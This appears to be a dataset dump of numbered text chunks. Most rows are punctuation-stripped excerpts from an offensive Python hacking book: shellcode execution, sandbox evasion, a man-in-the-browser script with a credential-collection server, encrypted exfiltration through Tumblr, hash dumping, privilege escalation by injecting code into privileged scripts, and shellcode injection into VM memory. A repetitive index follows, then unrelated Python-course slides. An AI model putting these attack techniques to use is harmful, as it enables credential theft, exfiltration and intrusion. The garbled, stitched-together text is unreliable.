id
int64
0
25.6k
text
stringlengths
0
4.59k
7,200
most pieces of malware and penetration testing frameworks include the capability to take screenshots against the remote target this can help capture imagesvideo framesor other sensitive data that you might not see with packet capture or keylogger thankfullywe can use the pywin package (see installing the prerequisitest...
7,201
7,202
there might come time when you want to be able to interact with one of your target machinesor use juicy new exploit module from your favorite penetration testing or exploit framework this typically -though not always -requires some form of shellcode execution in order to execute raw shellcodewe simply need to create bu...
7,203
you can handcode some shellcode or use your favorite pentesting framework like canvas or metasploit[ to generate it for you picked some windows callback shellcode for canvas in my case store the raw shellcode (not the string buffer!in /tmp/shellcode raw on your linux machine and run the followingjustinbase - shellcode ...
7,204
increasinglyantivirus solutions employ some form of sandboxing to determine the behavior of suspicious specimens whether this sandbox runs on the network perimeterwhich is becoming more popularor on the target machine itselfwe must do our best to avoid tipping our hand to any defense in place on the target' network we ...
7,205
test code remove after this paragraphwhile trueget_last_input(time sleep( we define lastinputinfo structure that will hold the timestamp (in millisecondsof when the last input event was detected on the system do note that you have to initialize the cbsize variable to the size of the structure before making the call we ...
7,206
timestamp so that we can perform timing calculations later on we also check if there are ascii keypresses on the keyboard and if sowe simply increment the total number of keystrokes detected now let' combine the results of these functions into our primary sandbox detection loop add the following code to sandbox_detect ...
7,207
print "we are ok!all right be mindful of the indentation in the code blocks abovewe start by defining some variables to track the timing of mouse-clicksand some thresholds with regard to how many keystrokes or mouse-clicks we're happy with before considering ourselves running outside sandbox we randomize these threshol...
7,208
windows com automation serves number of practical usesfrom interacting with network-based services to embedding microsoft excel spreadsheet into your own application all versions of windows from xp forward allow you to embed an internet explorer com object into applicationsand we'll take advantage of this ability in th...
7,209
man-in-the-browser (mitbattacks have been around since the turn of the new millennium they are variation on the classic man-in-the-middle attack instead of acting in the middle of communicationmalware installs itself and steals credentials or sensitive information from the unsuspecting target' browser most of these mal...
7,210
or other means that look less suspicious we then set up dictionary of target sites that our attack will support the dictionary members are as followslogout_url is url we can redirect via get request to force user to log outthe logout_form is dom element that we can submit that forces the logoutlogin_form_index is the r...
7,211
leave our simplified solution as homework assignment to improve upon we then test to see if the target site has simple logout url that we can redirect to and if sowe force the browser to do so if the target site (such as facebookrequires the user to submit form to force the logoutwe begin iterating over the dom and whe...
7,212
now that we've set up our attack scriptlet' create very simple http server to collect the credentials as they're submitted crack open new file called cred_server py and drop in the following codeimport simplehttpserver import socketserver import urllib class credrequesthandler(simplehttpserver simplehttprequesthandler)...
7,213
fire up new ie instance and run your mitb py and cred_server py scripts in separate windows you can test browsing around to various websites first to make sure that you aren' seeing any odd behaviorwhich you shouldn' now browse to facebook or gmail and attempt to log in in your cred_server py windowyou should see somet...
7,214
gaining access to target network is only part of the battle to make use of your accessyou want to be able to exfiltrate documentsspreadsheetsor other bits of data off the target system depending on the defense mechanisms in placethis last part of your attack can prove to be tricky there might be local or remote systems...
7,215
offset while offset &ltlen(plaintext)chunk plaintext[offset:offset+chunk_sizeif len(chunkchunk_size ! chunk +(chunk_size len(chunk)encrypted +rsakey encrypt(chunkoffset +chunk_size encrypted encrypted encode("base "print "base encoded crypto%dlen(encryptedreturn encrypted def encrypt_post(filename)open and read the fil...
7,216
for in full_docif id ="signup_email" setattribute("value",usernameelif id ="signup_password" setattribute("value",passwordrandom_sleep(you can be presented with different home pages if ie document forms[ id ="signup_form"ie document forms[ submit(elseie document forms[ submit(except indexerrorepass random_sleep(the log...
7,217
instance of the browser and the encrypted filename and file contents to post one little trick (learned by observing in chrome developer toolsis that we have to shift focus away from the main content part of the post so that tumblr' javascript enables the post button these subtle little tricks are important to jot down ...
7,218
private_key new_key exportkey("pem"print public_key print private_key that' right -python is so bad-ass that we can do it in handful of lines of code this block of code outputs both private and public key pair copy the public key into your ie_exfil py script then open new python file called decryptor py and enter the f...
7,219
there are lot of moving parts to this piece of codebut it is quite easy to use simply run your ie_exfil py script from windows host and wait for it to indicate that it has successfully posted to tumblr if you left internet explorer visibleyou should have been able to watch the whole process after it' completeyou should...
7,220
and this might break certain file formats another idea for extending the project is to encrypt length field at the beginning of the blog post contents that tells you the original size of the document before you padded it you can then read in this length after decrypting the blog post contents and trim the file to that ...
7,221
so you've popped box inside nice juicy windows network maybe you leveraged remote heap overflowor you phished your way into the network it' time to start looking for ways to escalate privileges if you're already system or administratoryou probably want several ways of achieving those privileges in case patch cycle kill...
7,222
we need to install few libraries in order to write the tooling in this if you followed the initial instructions at the beginning of the bookyou'll have easy_install ready to rock if notrefer to for instructions on installing easy_install execute the following in cmd exe shell on your windows vmc:\easy_install pywin wmi...
7,223
participated in project for immunity called el jefewhich is at its core very simple processmonitoring system with centralized logging(be used by people on the defense side of security to track process creation and the installation of malware while consulting one daymy coworker mark wuergler suggested that we use el jef...
7,224
the wmi api gives the programmer the ability to monitor the system for certain eventsand then receive callbacks when those events occur we're going to leverage this interface to receive callback every time process is created when process gets createdwe're going to trap some valuable information for our purposesthe time...
7,225
print process_log_message log_to_file(process_log_messageexceptpass we start by instantiating the wmi class and then telling it to watch for the process creation event by reading the python wmi documentationwe learn that you can monitor process creation or deletion events if you decide that you' like to closely monitor...
7,226
let' fire up our process monitoring script and then create some processes to see what the output looks like :\python process_monitor py ,justin- trl ld\administrator, :\windows\system notepad exe," :\windows\system \notepad exe, , , / ,justin- trl ld\administrator, :\windows\system calc exe," :\windows\system \calc exe...
7,227
windows token isper microsoft"an object that describes the security context of process or thread "[ how token is initialized and which permissions and privileges are set on token determine which tasks that process or thread can perform well-intentioned developer might have system tray application as part of security pr...
7,228
if [ = priv_list +"% |win security lookupprivilegename(none, [ ]exceptpriv_list " /areturn priv_list we use the process id to obtain handle to the target process nextwe crack open the process token and then request the token information for that process by sending the win security tokenprivileges structurewe are instru...
7,229
batch scriptsvbscriptand powershell scripts make system administratorslives easier by automating humdrum tasks their purpose can vary from continually registering to central inventory service to forcing updates of software from their own repositories one common problem is the lack of proper acls on these scripting file...
7,230
file_list_directory h_directory win file createfilepath_to_watchfile_list_directorywin con file_share_read win con file_share_write win con file_ share_deletenonewin con open_existingwin con file_flag_backup_semanticsnonewhile tryresults win file readdirectorychangeswh_directory truewin con file_notify_change_file_name...
7,231
wish to monitor we then call the readdirectorychangesw function which notifies us when change occurs we receive the filename of the target file that changed and the type of event that happened from here we print out useful information about what happened with that particular fileand if we detect that it' been modifiedw...
7,232
open cmd exe shell and run file_monitor pyc:\python exe file_monitor py open second cmd exe shell and execute the following commandsc:\cd %tempc:\docume~ \admini~ \locals~ \tempecho hello filetest :\docume~ \admini~ \locals~ \temprename filetest file test :\docume~ \admini~ \locals~ \tempdel file test you should see ou...
7,233
now that we can monitor processes and file locationslet' take look at being able to automatically inject code into target files the most common scripting languages 've seen employed are vbscriptbatch filesand powershell we'll create very simple code snippets that spawn compiled version of our bhpnet py tool with the pr...
7,234
print "[^^^dump complete exceptprint "[!!!failed ###new code starts here filename,extension os path splitext(full_filenameif extension in file_typesinject_code(full_filename,extension,contents###end of new code --snip-this is pretty straightforward addition to our primary loop we do quick split of the file extension an...
7,235
if you installed the example vulnerable service at the beginning of this you can easily test your fancy new code injector make sure that the service is runningand simply execute your file_monitor py script eventuallyyou should see output indicating that vbs file has been created and modified and that code has been inje...
7,236
forensics folks are often called in after breachor to determine if an "incidenthas taken place at all they typically want snapshot of the affected machine' ram in order to capture cryptographic keys or other information that resides only in memory lucky for thema team of talented developers has created an entire python...
7,237
volatility is extremely easy to installyou just need to download it from keep it in local directory and add the directory to my working pathas you'll see in the following sections windows installer is also included choose the installation method of your choiceit should work fine whatever you do
7,238
volatility uses the concept of profiles to determine how to apply necessary signatures and offsets to pluck information out of memory dumps but if you can retrieve memory image from target via firewire or remotelyyou might not necessarily know the exact version of the operating system you're attacking thankfullyvolatil...
7,239
recovering the password hashes on windows machine after penetration is common goal among attackers these hashes can be cracked offline in an attempt to recover the target' passwordor they can be used in pass-the-hash attack to gain access to other network resources looking through the vms or snapshots on target is perf...
7,240
import struct import volatility conf as conf import volatility registry as registry memory_file "windowsxpsp vmemsys path append("/users/justin/downloads/volatility-"registry pluginimporter(config conf confobject(import volatility commands as commands import volatility addrspace as addrspace config parse_options(config...
7,241
offsets then we create hashdump object and pass in the current configuration object the final step is to iterate over the results from the calculate function callwhich produces the actual usernames and their associated hashes now run this script as standalone python filepython grabhashes py you should see the same outp...
7,242
virtualization technology is being used more and more frequently as time goes onwhether because of paranoid userscross-platform requirements for office softwareor the concentration of services onto beefier hardware systems in each of these casesif you've compromised host system and you see vms in useit can be handy to ...
7,243
address of the function and then removes the breakpoint so that we don' continually log the same function addresses load calc exe in immunity debuggerbut don' run it yet then in the command bar at the bottom of immunity debugger' screenentercodecoverage now you can run the process by pressing the key if you switch to t...
7,244
this setup code is identical to the previous code you wrotewith the exception that we're reading in the shellcode that we will inject into the vm now let' put the rest of the code in place to actually perform the injection import volatility plugins taskmods as taskmods taskmods pslist(configfor process in calculate()if...
7,245
check for our target code location if page[ <equals_button and equals_button ((page[ page[ ])- )print "[*found our trampoline target at % (physicalcalculate virtual offset v_offset equals_button page[ now calculate physical offset trampoline_offset physical v_offset print "[*found our trampoline target at % (trampoline...
7,246
the first step is to close immunity debugger if it' still running and close any instances of calc exe now fire up calc exe and run your code injection script you should see output like thispython code_inject py [*found calc exe with pid [*hunting for physical offsets please wait [*found good shellcode location[*virtual...
7,247
gi ta link in an index entry is displayed as the section title in which that entry appears because some sections have multiple index markersit is not unusual for an entry to have several links to the same section clicking on any link will take you directly to the place in the text in which the marker appears address re...
7,248
authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationkicking the tires in html form authenticationbrute-forcing html form authenticationbrute-forcing html form authenticationbrute-forcing html form authentic...
7,249
website content into password goldturning website content into password goldturning website content into password goldturning website content into password gold converting selected http traffic into wordlistturning website content into password gold functionality to display wordlistturning website content into password...
7,250
content-length headerman-in-the-browser (kind ofcount parameterowning the network with scapy createmenuitem functionbing for burp createnewinstance functionburp fuzzing createprocess functioncreating process monitor credrequesthandler classman-in-the-browser (kind ofctypes moduledecoding the ip layer data directorygith...
7,251
installing kali linuxinstalling kali linux default username and passwordinstalling kali linux desktop environmentinstalling kali linux determining versioninstalling kali linux downloading imageinstalling kali linux general discussioninstalling kali linux wingideinstalling kali linuxinstalling kali linuxwingidewingidewi...
7,252
fidaochrispcap processing filecookiejar classbrute-forcing html form authentication filter parameterowning the network with scapy find_module functionhacking python' import functionality forward ssh tunnelingkicking the tireskicking the tires frischdanwindows privilege escalation gdi (windows graphics device interface)...
7,253
buildingbuilding github-aware trojan configuringtrojan configuration creating modulescreating modules hacking import functionalityhacking python' import functionality improvements and enhancements tokicking the tires testinghacking python' import functionality github moduleinstalling kali linux gitimporter classhacking...
7,254
general settingsbrute-forcing html form authentication html parsing classbrute-forcing html form authentication pasting in wordlistbrute-forcing html form authentication primary brute-forcing classbrute-forcing html form authentication request flowbrute-forcing html form authentication testingkicking the tires htmlpars...
7,255
imap credentialsstealingowning the network with scapystealing email credentials immunity debuggerdirect code injectiondirect code injection imp modulehacking python' import functionality __init__ methoddecoding the ip layer inject_code functioncode injection input tagsbrute-forcing html form authentication input/output...
7,256
ioctl (input/output control)packet sniffing on windows and linuxpacket sniffing on windows and linux ip header decoding routinepacket sniffing on windows and linuxdecoding the ip layerdecoding the ip layerdecoding the ip layerdecoding the ip layer avoiding bit manipulationdecoding the ip layer human-readable protocolde...
7,257
logout_form functionman-in-the-browser (kind oflogout_url functionman-in-the-browser (kind ofm man-in-the-browser (mitbattacksman-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)man-in-the-browser (kind of)creating the server creati...
7,258
replacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcatreplacing netcat adding client codereplacing netcat calling functionsreplacing netcat command execution functionalityreplacing netcat command shellreplacing netcat creating main functionreplacing netcat creating primary serv...
7,259
creating tcp proxieskicking the tireskicking the tiresbuilding tcp proxybuilding tcp proxybuilding tcp proxy hex dumping functionbuilding tcp proxy proxy_handler functionbuilding tcp proxy reasons forkicking the tires testingbuilding tcp proxy creating tcp serverstcp server creating udp clientstcp client netcat-like fu...
7,260
icmp message decoding routinekicking the tireskicking the tireskicking the tiresdecoding icmpdecoding icmpdecoding icmpdecoding icmp destination unreachable messagekicking the tiresdecoding icmp length calculationdecoding icmp message elementskicking the tires sending udp datagrams and interpreting resultsdecoding icmp...
7,261
code injectiondirect code injection bing api keysbing for burp burpextending burp proxy cain and abelkicking the tires carlos perezkicking the tires creating basic structure for repogithub command and control dirbuster projectkicking the tires el jefe projectcreating process monitor facial detection codepcap processing...
7,262
vmware playersetting up your python environment volatility frameworkautomating offensive forensics win _process class documentationprocess monitoring with wmi windows gditaking screenshots wingidewingide wiresharkthe networkraw sockets and sniffing opencvpcap processingpcap processing os walk functionmapping open sourc...
7,263
adding supporting functionspcap processing arp cache poisoning resultsarp cache poisoning with scapy coding processing scriptpcap processing image carving scriptkicking the tires testingpcap processing perezcarloskicking the tires pip package managerinstalling kali linux pop credentialsstealingowning the network with s...
7,264
process monitoringcreating process monitorcreating process monitorprocess monitoring with wmi winning race against code executioncreating process monitorprocess monitoring with wmi testingprocess monitoring with wmi with wmicreating process monitor process_watcher functionprocess monitoring with wmi --profile flagautom...
7,265
restore_target functionarp cache poisoning with scapy reverse ssh tunnelingkicking the tiresssh tunnelingssh tunneling reverse_forward_tunnel functionssh tunneling run functioncreating modules sandbox detectionkicking the tires scapy libraryowning the network with scapyowning the network with scapyowning the network wi...
7,266
screenshotskicking the tires sebackupprivilege privilegewindows token privileges secure shellssh with paramiko (see sshsedebugprivilege privilegewindows token privileges selectobject functiontaking screenshots seloaddriver privilegewindows token privilegeswindows token privileges sendto(functiontcp client server_loop f...
7,267
tunnelingssh tunnelingssh tunneling forwardkicking the tireskicking the tires reversekicking the tiresssh tunnelingssh tunneling testingssh tunneling with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramiko creating ssh serverssh with paramiko installing parami...
7,268
hex dumping functionbuilding tcp proxy proxy_handler functionbuilding tcp proxy reasons for buildingkicking the tires testingbuilding tcp proxy tcp serverscreatingtcp server tcpserver classman-in-the-browser (kind oftest_remote functionmapping open source web app installations token privilegesprocess monitoring with wm...
7,269
start implementation in december by guido van rossum (cwipython unicode support garbage collector development process more community oriented python not backwards compatible most popular programming language (tiobe indexrecommendation for scientific programming (nature newsnpg current versionpython python is out of sup...
7,270
software principles that influence the design of pythonbeautiful is better than ugly explicit is better than implicit simple is better than complex complex is better than complicated flat is better than nested sparse is better than dense readability counts special cases aren' special enough to break the rules although ...
7,271
for user programspython is fast enoughmost parts of python are written in for compute intensive algorithmsfortrancc+might be better performance-critical parts can be re-implemented in / +if necessary first analysethen optimisemember of the helmholtz association slide
7,272
hello_world py !usr bin env python this is commentary print hello world python hello_world py hello world chmod hello_world py hello_world py hello world member of the helmholtz association slide
7,273
hello_user py !usr bin env python name input what ' your name print hello name hello_user py what your name rebecca hello rebecca member of the helmholtz association slide
7,274
strong typingobject is of exactly one typea string is always stringan integer always an integer counterexamplesphpjavascriptcchar can be interpreted as shortvoid can be everything dynamic typingno variable declaration variable names can be assigned to different data types in the course of program an object' attributes ...
7,275
types py !usr bin env python number print number type number )print number number print number type number )print number traceback most recent call last )file types py line in print number typeerror can only concatenate str not int to str member of the helmholtz association slide
7,276
the interpreter can be started in interactive modepython python default mar : : gcc on linux type help copyright credits or license for more information print hello world hello world print member of the helmholtz association slide
7,277
integrated development environment part of the python installation member of the helmholtz association slide
7,278
online help in the interpreterhelp()general python help help(obj)help regarding an objecte function or module dir (all used names dir(obj)all attributes of an object official documentationmember of the helmholtz association slide
7,279
help dir help on built in function dir dir (__builtins__ __doc__ __file__ __name__ ' 'help help on int object member of the helmholtz association slide
7,280
python shebang idle cmd print cmd (syntaxinput cmd (syntaxunicode integer type #!/usr/bin/python #!/usr/bin/python idle idle print print(raw_input(input(uall strings int/long int (infinitehints in each = linux specific member of the helmholtz association python slide
7,281
introduction data types control statements functions input/output errors and exceptions data types ii object oriented programming modules and packages advanced techniques tools regular expressions (optionalsummary and outlook member of the helmholtz association slide
7,282
int integer numbers (infinitefloat corresponds to double in complex complex numbers is the imaginary unita member of the helmholtz association slide
7,283
basic arithmeticshintpython / python / div and modulo operator/divmod(xyabsolute valueabs(xroundinground(xconversionint(xfloat(xcomplex(re [im= ]conjugate of complex numberx conjugate(powerx * pow(xyresult of composition of different data types is of the "biggerdata type member of the helmholtz association slide
7,284
print bin ( bin ( ) ~ - < pow ( , > print bin ( bin ( > ) operationsandx orx exclusive or (xorx invert~ shift right bitsx > shift left bitsx < use bin(xto get binary representation string of member of the helmholtz association slide
7,285
data typestr 'spams "spammultiline stringss """spam""no interpretation of escape sequencess "sp\namgenerate strings from other data typesstr( ""hello world ""print hello world print sp nam sp am print sp nam sp nam member of the helmholtz association or print (sp \nam "slide
7,286
count appearance of substringss count(sub [start[end]]begins/ends with substrings startswith(sub[start[end]] endswith(sub[start[end]]all capital/lowercase letterss upper( lower(remove whitespaces strip([chars]split at substrings split([sub [,maxsplit]]find position of substrings index(sub[start[end]]replace substrings ...
7,287
data typelist [ "spam" [append an elements append(xextend with second lists extend( count appearance of an elements count(xposition of an elements index( [min[max]]insert element at positions insert(ixremove and return element at positions pop([ ]delete elements remove(xreverse lists reverse(sorts sort([cmp[key[reverse...
7,288
data typetuple "spam" ( "spam" constant list count appearance of an elements count(xposition of an elements index( [min[max]]sum of the elementssum(smember of the helmholtz association slide
7,289
data typetuple "spam" ( "spam" constant list count appearance of an elements count(xposition of an elements index( [min[max]]sum of the elementssum(smultidimensional tuples and lists list and tuple can be nested (mixed) =([ , , ,( , , ) ([ ( ) [ ][ ]= ([ ( )member of the helmholtz association slide
7,290
lists are mutable strings and tuples are immutable no assignment [ino appending and removing of elements functions like upper(return new strings spam upper ( spam spam member of the helmholtz association slide
7,291
stringslists and tuples have much in commonthey are sequences does/doesn' contain an elementx in not in concatenate sequencess multiply sequencesn -th elements[ii-th to last elements[-isubsequence (slice) [ :jwith step size ks[ : :ksubsequence (slicefrom beginning/to ends[:-is[ : [:length (number of elements)len(ssmall...
7,292
positive index element negative index - - - - - - - kurs python kurs kurs [ : kurs [ : kurs [ kurs - - kur kurs - :kurs kurs - - - no member of the helmholtz association slide - - - -
7,293
data type booltrue false values that are evaluated to false none (data type nonetype false (in every numerical data typeempty stringslists and tuples[(empty dictionaries{empty sets set(all other objects of built-in data types are evaluated to true bool ([ ]true bool false member of the helmholtz association slide
7,294
every object name is reference to this objectan assignment to new name creates an additional reference to this object hintcopy list with [:or list( operator is compares two references (identity)operator =compares the contents of two objects assignmentdifferent behavior depending on object type stringsnumbers (simple da...
7,295
= = is true = is false member of the helmholtz association slide
7,296
= = is true = is false member of the helmholtz association slide
7,297
= = is true = is false member of the helmholtz association slide
7,298
= = is true = is false [ [ [ [ member of the helmholtz association slide
7,299
= = is true = is false [ [ [ [ member of the helmholtz association slide